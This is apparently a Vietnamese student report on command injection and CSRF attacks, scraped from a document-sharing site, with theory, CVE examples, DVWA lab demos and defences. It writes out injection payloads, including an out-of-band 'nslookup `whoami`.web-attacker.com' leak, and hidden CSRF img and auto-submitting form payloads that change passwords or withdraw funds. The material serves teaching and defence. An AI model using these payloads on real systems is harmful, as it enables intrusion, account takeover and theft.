1. Trang chủ
  2. » Công Nghệ Thông Tin

Tìm hiểu về tấn công command injection và CSRF

25 144 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 25
Dung lượng 895,03 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Attacker có thể gửi đầu vào sau để thực thi lệnh tùy ý.& command & Ví dụ: https://insecure-website.com/stockStatus?productID=381&id&&storeID=29 Các lệnh thường được sử dụng Kết nối mạng

Trang 1

MỤC LỤC

Trang 2

Phân công công việcTrưởng nhóm: Ngụy Đình Thành

- Chịu trách nhiệm phân công công việc

- Thực hiện phần demo thực hành của 2 kiểu tấn công

- Tổng hợp và chỉnh sửa bản tiểu luận của nhóm và slide thuyết trình

Thành viên: Đặng Quang Thắng

- Nghiên cứu lý thuyết phần tấn công CSRF

- Thực hiện thuyết trình tấn công CSRF

Thành viên: Đặng Văn Chung

- Nghiên cứu lý thuyết phần tấn công Command Injection

- Thực hiện thuyết trình tấn công Command Injection

Trang 3

lo ngại đặc biệt là các cơ quan nhà nước.

Theo số liệu thông kê năm 2011 của BKAV, có 64,2 triệu lượt máy tính tạiViệt Nam bị nhiễm virus, 38.961 dòng virus xuất hiện mới, 2245 website củacác cơ quan, đoanh nghiệp tại Việt Nam bị tấn công, hơn 85.000 máy tính tạiViệt Nam bị cài virus Ramnit để lấy cắp dữ liệu quan trọng

Đổi với các công ty lớn, nguy cơ bị tấn công vào hệ thống đồng nghĩa vớiviệc họ sẽ bị thiệt hại hàng tỷ USD, uy tín trước khách hàng bị giảm sút Với các

cơ quan y tế và quốc phòng thì thiệt hại còn có thể thảm khốc hơn gấp nhiều lần

Với nguồn tài nguyên thông tin phong phú, đa dạng, hấp dẫn trên mạngchính là sự tiềm ấn của loại hình chiến tranh mới: “Chiến tranh thông tin"

Trong lĩnh vực An ninh Quốc phòng, môi trường thông tin mở trên mạng

đã đặt ra những thách thức gay gắt đối với chúng ta Một mặt ta phải tổ chứckhai thác một cách có hiệu quả và bảo vệ nguồn tài nguyên thông tin Quốc gia,mặt khác ta cần phải chiếm được ưu thế và đánh bại đối phương bằng các đòntấn công thông tin qua mạng Internet khi cần thiết

Theo báo Dân Việt ngày 14/06/2011, trong hơn một tuần có hàng trămwebsite Việt Nam đã bị hacker tấn công, trong đó có khá nhiều vụ tấn công tintặc để lại thông điệp bằng tiếng Trung hoặc cả hình ảnh cờ Trung Quốc

Điều này cho thấy hình thái chiến tranh thông tin đã và đang dần dần hìnhthành ở Việt Nam Vấn để an toàn thông tin cho mạng máy tính vả việc nghiêncửu về chiến tranh thông tin trên mạng và giải pháp phòng tránh, đánh trả cụ thể

là một nhụ cầu cấp bách hiện nay

Do đó, “Tấn công - Phòng thủ” trên mạng Internet là một trong những bàitoán cần phải được đặt ra hàng đầu trong lĩnh vực An ninh Quốc phòng ngày

nay Vì vậy, nhóm chúng em đã chọn đề tài: "Tìm hiểu về tấn công Command

Trang 4

Injection và CSRF” làm đề tài bài tìm hiểu Ngoài phần mở đầu, kết luận, bài

tìm hiểu của nhóm gồm 2 chương:

Chương 1: Tấn công Command Injection

Chương 2: Tấn công Cross Site Request Forgery (CSRF)

Trang 5

Chương 1 TẤN CÔNG COMMAND INJECTION1.1 Tổng quan về Command Injection

Command Injection (hay còn gọi là shell injection) là lỗ hổng cho phép

kẻ tấn công thực thi các lệnh bất kì của hệ điều hành trên server chạy ứng dụngvới đặc quyền của web server Lỗ hổng xảy ra khi một ứng dụng gọi tới lệnhshell để thực thi một tác vụ với input do người dùng nhập vào nhưng không lọccác input một cách cẩn thận Kẻ tấn công có thể tận dụng lỗ hổng này để khaithác, lấy thông tin, chuyển cuộc tấn công sang hệ thống khác bên trong tổ chức

Như vậy tóm lại là dựa vào sơ hơ của Web Application, Hacker - kẻ tấncông có thể thực hiện các câu lệnh, dòng code của OS để thực hiện các hành vikhông tốt đối với hệ thống Việc tiêm thêm (injection) vào ứng dụng để thực thihành vi không tốt là một lỗi vô cùng nguy hiểm Có thể gây lỗi cho host, lấy cắpthông tin, thậm trí chiếm quyền quản lý server

Lỗ hổng OS command injection có thể cho phép kẻ tấn công thực hiện các hành

1.2 Cách thức tấn công Command Injection

1.2.1 Thực hiện các lệnh tùy ý trên shell

Ví dụ: https://insecure-website.com/stockStatus?productID=381&storeID=29

Ở đây để lấy thông tin thì web sẽ gọi productID và store Nhưng vì mộtvài lý do nào đó, chức năng được triển khai bằng cách gọi lệnh shell vớiproductID và store làm đối số:

stockreport.pl 381 29

Nếu hệ thống không được bảo vệ chống lại Command Injection thì

Trang 6

Attacker có thể gửi đầu vào sau để thực thi lệnh tùy ý.

& command &

Ví dụ:

https://insecure-website.com/stockStatus?productID=381&id&&storeID=29

Các lệnh thường được sử dụng

Kết nối mạng netstat -an netstat -an

Tiến trình đang chạy ps -ef tasklist

1.2.2 Lỗ hổng Blind command injection

Nhiều trường hợp command injection là blind vulnerabilities Có nghĩa làđầu ra sẽ không trả về trong HTTP response Vậy kết quả sẽ k hiển thị trên mànhình Vậy có cách nào xác định được blind vulnerabilities

Có thể sử dụng time delays để xác định được blind vulnerabilities Nó sẽkích hoạt độ trễ, cho phép bạn xác nhận rằng lệnh này đã được thực thi hay chưadựa vào thời gian mà ứng dụng cần để đáp ứng Lệnh ping là lệnh hiệu quả đểthực hiện việc này, vì nó cho phép chỉ định gói ICMP cần gửi và thời gian đểlệnh chạy:

& ping -c 10 127.0.0.1 &

Có thể khai thác lỗ hổng này bằng cách chuyển hướng đầu ra từ lệnh chènvào 1 tệp trong thư mục gốc mà bạn có thể đọc nó bằng trình duyệt của mình

Ví dụ: Nếu thư mục gốc của website ở /var/www/static thì bạn có thể gửi lệnhtiêm như sau:

&whoami > /var/www/static/whoami.txt &

Rồi sau đó bạn có thể sử dụng trình duyệt của mình truy cậpvào http://target.com/whoami.txt để truy xuất tệp và xem đầu ra từ lệnh đượcchèn vào

Ngoài ra, còn có thể sử dụng 1 số thủ thuật khác để kiểm tra xem lệnhtiêm đã ăn hay chưa Ví dụ:

Trang 7

& nslookup web-attacker.com &

Attacker sẽ kiểm tra server của mình và phát hiện ra rằng lệnh đã đượctiêm thành công hay chưa Ngoài ra còn có thể sử dụng:

& nslookup `whoami`.web-attacker.com &

Các cách dùng để Command Injection

Đầu tiên cần phải xác định được hệ thống target đang hoạt động là gì, Windowshay Linux? Một số ký tự có chức năng phân tách lệnh, cho phép các lệnh nối vớinhau

• &

• &&

• |

• ||

1.3 Một số lỗi Command Injection tồn tại trên thực tế

Lỗ hổng OS Command Injection là một lỗ hổng có từ rất lâu Tuy nhiên,không vì thế mà ngày nay nó không còn nữa Trên trang https://cve.mitre.org/, ta

có thể tìm thấy các CVE của lỗ hổng loại này vẫn còn tồn tại Ví dụ như:

WordPress DZS-VideoGallery Plugin (CVE: 2014-9094)

Phiên bản DZS-VideoGallery 7.85 Plugin của WordPress có lỗ hổng có thểtruyền command injection vào đây

Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection (CVE: 2004-1934)

Pandora Fms 3.1 - OS Command Injection (CVE: 2010-4278)

1 đoạn code ngắn của file operation/agentes/networkmap.php

32 $layout = (string) get_parameter ('layout', 'radial');

137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;

138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;

139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;

Trang 8

162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng

- -o".$filename_img." ".$filename_dot;

163 $result = system ($cmd);

Ta có thể thấy có thể command injection vào đây

CVE-2020-9478: được tìm thấy trong Rubrik 5.0.3-2296.

CVE-2020-9020: được tìm thấy trong các thiết bị Iteris Vantage Velocity Field

• Không bao giờ tin tưởng giá trị đầu vào của người dùng

• Loại bỏ các ký tự đặc biệt bên server như các chuyển hướng, điều kiệncủa command hệ thống

• Với mỗi loại command muốn chạy thì kiểm tra chặt chẽ đầu vào

• Nếu không thể tránh việc sử dụng các lệnh hệ thống, hãy chắc chắn rằngviệc chuẩn hoá dữ liệu được áp dụng đúng:

o giá trị nhập vào nằm trong whitelist các giá trị được sử dụng

o giá trị nhập vào đúng kiểu được kì vọng bởi ứng dụng (số haystring )

o giá trị nhập vào chỉ chứa các kí tự chữ và số, không có các địnhdạng hay cú pháp

1.5 Demo tấn công Command Injection trên DVWA

1.5.1 Mức độ Low Security

- Source code cho thấy server không kiểm tra đầu vào mà thực hiện lệnh pingvới chuỗi ta nhập

Trang 9

- Do đó ta chỉ cần ghép thêm ‘&&’ (and) vào chuỗi đầu vào để nối 2 commandvới nhau có thể khiến server thực thi lệnh mà ta đưa vào.

Trang 10

- Từ đó ta có thể tấn công lấy được tệp config chứa tài khoản mật khẩu trên cơ

sở dữ liệu của web server

1.5.2 Mức độ Medium Security

- Mức độ này server loại bỏ ký tự “&&” trong chuỗi đầu vào

Trang 11

- Thay vì ‘&&’ ta sử dụng ký tự ‘|’ (or) để bypass qua lệnh ping phía trước vàthực hiện lệnh sau mà ta nhập vào.

- Phần còn lại tương tự phần trước

1.5.3 Mức độ High Security

- Server tiếp tục kiểm tra đầu vào và loại bỏ các ký tự đặc biệt mà người dùng có

Trang 13

Chương 2 TẤN CÔNG CROSS SITE REQUEST FORGERY (CSRF)2.1 Tổng quan về CSRF

2.1.1 Khái niệm về CSRF

CSRF (Cross Site Request Forgery) là kĩ thuật tấn công bằng cách sửdụng quyền chứng thực của người sử dụng đối với 1 website khác Các ứngdụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau

đó thực thi các câu lệnh này

Hacker sử dụng phương pháp CSRF để lừa trình duyệt của người dùnggửi đi các câu lệnh http đến các ứng dụng web Trong trường hợp phiên làm việccủa người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ dc thực hiện với quyềnchứng thực của người sử dụng

Cross-site Request Forgery (CSRF), CSRF nói đến việc tấn công vàochứng thực request trên web thông qua việc sử dụng Cookies, nơi mà các hacker

có khả năng sử dụng thủ thuật để tạo request mà bạn không hề biết Vì vậy, mộtCSRF là hacker lạm dụng sự tin tưởng của một ứng dụng web trên trình duyệtcủa nạn nhân

CSRF là một kiểu tấn công gây sự nhầm lẫn tăng tính xác thực và cấpquyền của nạn nhân khi gửi một request giả mạo đến máy chủ Vì thế một lỗhổng CSRF ảnh hưởng đến các quyền của người dùng ví dụ như quản trị viên,kết quả là chúng truy cập được đầy đủ quyền

Trong khi một tấn công CSRF trình duyệt của nạn nhân bị lừa để gửi đicác request đến ứng dụng web theo mong muốn của kẻ tấn công, thông thường,

ví dụ một yêu cầu sẽ được gửi lên để thay đổi một vài dữ liệu phía server

Khi gửi một request HTTP (hợp pháp hoặc cách khác), trình duyệt củanận nhân sẽ bao gồm các tiêu đề cookie Các cookie thường được dùng để lưutrữ một session để định danh người dùng không phải xác thực lại cho mỗi yêucầu gửi lên, điều này hiển nhiên là không thực tế

Nếu phiên làm việc đã xác thực của nạn nhân được lưu trữ trong mộtCookie vẫn còn hiệu lực (một cửa sổ trình duyệt không nhất thiết phải mở), và

Trang 14

nếu ứng dụng dễ bị tấn công CSRF, kẻ tấn công có thể thử dụng CSRF để chaybất cứ yêu cầu nào với trang web mà trang web không thể phân biệt đượcrequest nào là hợp pháp hay không.

Một cuộc tấn công CSRF có thể được sử dụng để sửa đổi cài đặt tườnglửa, đăng dữ liệu trái phép trên diễn đàn hoặc thực hiện các giao dịch tài chínhgian lận Một người dùng bị tấn công có thể không bao giờ biết mình đã trởthành nạn nhân của CSRF Thậm chí nếu người dùng có phát hiện ra cuộc tấncông này, thì cũng chỉ sau khi hacker đã gây ra những thiệt hại nhất định vàkhông có biện pháp để khắc phục vấn đề này

2.1.2 Lịch sử về tấn công CSRF

Các kiểu tấn công CSRF xuất hiện từ những năm 1990, tuy nhiên cáccuộc tấn công này xuất phát từ chính IP của người sử dụng nên log file của cácwebsite không cho thấy các dấu hiệu của CSRF Các cuộc tấn công theo kĩ thuậtCSRF không được báo cáo đầy đủ, đến năm 2007 mới có một vài tài liệu miêu

tả chi tiết về các trường hợp tấn công CSRF

Năm 2008 người ta phát hiện ra có khoảng 18 triệu người sử dụng eBay ởHàn Quốc mất các thông tin cá nhân của mình Cũng trong năm 2008, một sốkhách hàng tại ngân hàng Mexico bị mất tài khoản cá nhân của mình Trong 2trường hợp kể trên hacker đều sử dụng kĩ thuật tấn công CSRF

2.2 Kịch bản tấn công CSRF

Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từngười sử dụng, sau đó thực thi các câu lệnh này Hacker sử dụng phương phápCSRF để lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứngdụng web Điều đó có thể thực hiện bằng cách chèn mã độc hay link đến trangweb mà người dùng đã được chứng thực Trong trường hợp phiên làm việc củangười dùng chưa hết hiệu lực thì các câu lệnh trên sẽ được thực hiện với quyềnchứng thực của người sử dụng

2.2.1 Cross-site Request Forgery với các GET request

Kịch bản 1:

Trang 15

Người dùng Alice truy cập 1 diễn đàn yêu thích của mình như thường lệ.Một người dùng khác, Bob đăng tải 1 thông điệp lên diễn đàn Giả sử rằng Bob

có ý đồ không tốt với Alice, Bob muốn thay đổi mật khẩu tài khoản của Alice

Bob sẽ tạo 1 bài viết, trong đó có chèn thêm 1 đoạn code như sau:

<img height="0" width="0"

src="http://example.com/changePassword.php/?

newPassword=attackerPassword">

Để tăng hiệu quả che dấu, đoạn mã trên có thể được thêm các thông điệpbình thường để người dùng không chú ý Thêm vào đó thẻ img sử dụng trongtrường hợp này có kích thước 0x0 pixel và người dùng sẽ không thể thấy được

Giả sử Alie đang truy cập vào tài khoản của mình ở example.com và chưathực hiện logout để kết thúc Bằng việc xem bài post, trình duyệt của Alice sẽđọc thẻ img và cố gắng load ảnh từ example.com, do đó sẽ gửi câu lệnh thaypass đến địa chỉ này

Ứng dụng web ở example.com sẽ chứng thực Alice và thực hiện thay đổipass Alice Nó sẽ trả về trang kết quả mà không phải là ảnh, do đó trình duyệt sẽkhông hiển thị ảnh

Kịch bản 2:

Giả sử rằng Bob có ý đồ k tốt và anh ta muốn lấy tiền từ những người cótài khoản tại ngân hàng như Bob Bob sẽ tạo 1 thông báo, trong đó có chèn 1đoạn code như sau:

“eBank vừa công bố lãi xuất mới….<img height=0″ width=”0″src=”http://eBank.com/withdraw?

account=bob_id&amount=1000000&for=Alie_ id”/>”

Đoạn mã trên dc che giấu rất khéo léo, thứ nhất nó thêm các thông điệpbình thường để người dùng không chú ý Thứ hai thẻ “<img” sử dụng trongtrường hợp này có kích thước 0x0 pixel và người dùng sẽ không thể thấy dc Giả

sử Alie vừa mới truy cập vào tài khoản ngân hàng của mình và chưa thực hiệnlogout để kết thúc Trình duyệt của Bob sẽ gửi câu lệnh HTTP GET đến địa chỉlưu trong thẻ “<img” trong đoạn mã trên và nó sẽ dc thực hiện bằng quyềnchứng thực của Bob

Trang 16

2.2.2 Cross-site Request Forgery với POST requests

Để sử dụng yêu cầu POST với việc tấn công CSRF, kẻ tấn công sẽ cần sửdụng một chút JavaScript để gửi POST request

Ví dụ dưới đây mô tả làm sao để CSRF có thể bị lạm dụng sử dụng POSTrequest thông qua việc sử dụng thẻ <iframe> Đoạn code dưới đây sẽ tải mộtiframe ngầm mà nạn nhân không hề biết

iframe

<iframe

src=http://attacker.com/csrfAttack;style="width:0;height:0;border:0;border:none;">

</iframe>

Nội dung iframe

<body onload="document.getElementById('csrf').submit()"> <formid="csrf" action="http://example.com/changePassword.php" method="POST">

<input name="newPassword" value="attackerPassword" /> </form> </body>Như vậy người dùng sẽ rất khó để có thể phát hiện, vấn đề trách nhiệm phần lớnthuộc về các website của các nhà cung cấp

2.3 Cách phòng chống tấn công CSRF

Dựa trên nguyên tắc của CSRF "lừa trình duyệt của người dùng (hoặcngười dùng) gửi các câu lệnh HTTP", các kĩ thuật phòng tránh sẽ tập trung vàoviệc tìm cách phân biệt và hạn chế các câu lệnh giả mạo

- Không nên click vào các đường dẫn mà bạn nhận được qua email, quafacebook … Khi bạn đưa chuột qua 1 đường dẫn, phía dưới bên trái của trìnhduyệt thường có địa chỉ website đích, bạn nên lưu ý để đến đúng trang mìnhmuốn

Ngày đăng: 18/06/2021, 11:09

TỪ KHÓA LIÊN QUAN

w